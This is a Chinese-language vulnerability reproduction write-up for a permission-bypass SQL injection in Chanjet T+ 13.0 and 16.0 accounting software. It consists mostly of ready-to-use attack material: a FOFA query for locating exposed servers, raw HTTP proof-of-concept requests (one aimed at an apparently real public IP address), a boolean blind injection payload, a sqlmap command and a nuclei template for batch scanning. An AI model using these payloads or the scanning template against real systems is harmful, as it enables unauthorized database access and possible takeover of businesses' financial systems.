漏洞描述
畅捷通T+的某后台功能点只校验了权限，未对用户的输入进行过滤，导致在权限绕过后存在SQL注入漏洞，利用此漏洞攻击者最终可以实现远程命令执行。
影响范围
畅捷通T+ 13.0
畅捷通T+ 16.0
漏洞复现
fofa语法：app="畅捷通-TPlus"
登录页面如下：
POC:
POST /tplus/ajaxpro/Ufida.T.SM.UIP.MultiCompanyController,Ufida.T.SM.UIP.ashx?method=CheckMutex HTTP/1.1
Host: 117.24.60.151:88
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Connection: close
Content-Length: 53
Content-Type: text/plain
Cookie: ASP.NET_SessionId=; sid=admin
Accept-Encoding: gzip, deflate
{"accNum": "6'", "functionTag": "SYS0104", "url": ""}
可以发现accNum参数处加单引号会出现数据库报错，出现这种情况，一般存在SQL注入。
构造布尔盲注payload
POST /tplus/ajaxpro/Ufida.T.SM.UIP.MultiCompanyController,Ufida.T.SM.UIP.ashx?method=CheckMutex HTTP/1.1
Host: your-ip
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
{"accNum": "3' AND 5227 IN (SELECT (CHAR(113)+CHAR(118)+CHAR(112)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (5227=5227) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(120)+CHAR(113)))-- NCab", "functionTag": "SYS0104", "url": ""}
这里编写了一个带有子查询的sql语句，通过判断5227是否等于5227，来构造一个布尔查询，如果返回真，则执行SELECT CHAR(49)，即返回字符1，否则返回字符0
可以看到返回了“1” ，漏洞存在
使用sqlmap验证
sqlmap -r vuln.txt --batch
nuclei批量yaml文件
id: chanjettplus-sqli
info:
name: chanjettplus - SQL Injection
author: unknown
severity: critical
description: |
There is an SQL injection vulnerability in the Changjetcrm financial crm system under Yonyou.
reference:
- https://stack.chaitin.com/vuldb/detail?id=f4ae9a80-58c7-4a5c-a463-ae4e40605880
tags: chanjettplus,sqli
http:
- raw:
- |
POST /tplus/ajaxpro/Ufida.T.SM.UIP.MultiCompanyController,Ufida.T.SM.UIP.ashx?method=CheckMutex HTTP/1.1
Host: {{Hostname}}
Content-Type: text/plain
Cookie: ASP.NET_SessionId=; sid=admin
{"accNum": "6'", "functionTag": "SYS0104", "url": ""}
matchers:
- type: word
words:
- "附近有语法错误"
part: body